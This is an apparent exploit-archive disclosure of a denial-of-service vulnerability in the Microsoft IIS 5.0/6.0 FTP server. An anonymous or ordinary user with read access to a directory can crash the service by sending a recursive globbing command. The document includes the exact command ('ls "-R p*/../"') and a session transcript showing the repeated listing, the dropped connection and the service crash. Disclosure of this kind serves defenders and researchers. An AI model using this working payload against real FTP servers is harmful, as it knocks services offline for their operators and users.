Microsoft IIS 5.0/6.0 FTP Server - Stack Exhaustion Denial of Service

***** MS IIS FTPD DoS ZER0DAY *****

There is a DoS vulnerability in the globbing functionality of IIS FTPD.
Anonymous users can exploit this if they have read access to a directory!!!
Normal users can exploit this too if they can read a directory.

Example session where the anonymous user has read access to the folder "pub":

C:\Users\Nikolaos>ftp 192.168.2.102
Verbindung mit 192.168.2.102 wurde hergestellt.
220 Microsoft FTP Service
Benutzer (192.168.2.102:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Kennwort:
230 Anonymous user logged in.
ftp> ls "-R p*/../"
...
p*/../pub:
pub
...
p*/../pub:
pub
...
p*/../pub:
pub
...
p*/../pub:
pub
...
Verbindung beendet durch Remotehost. (MEANS: Remote Host has closed
the connection)
ftp>
ftp>

By looking into my debugging session with OllyDbg I see that an
exception is raised and
the ftp service crashes due to a "stack overflow", what is a stack exhaustion.
If the ftp service is set to "manual" startup in services control
manager the service
needs to be restarted manually.
IIS 5.0 and 6.0 were tested and are affected.

Best Regards,

Nikolaos Rangos

# milw0rm.com [2009-09-04]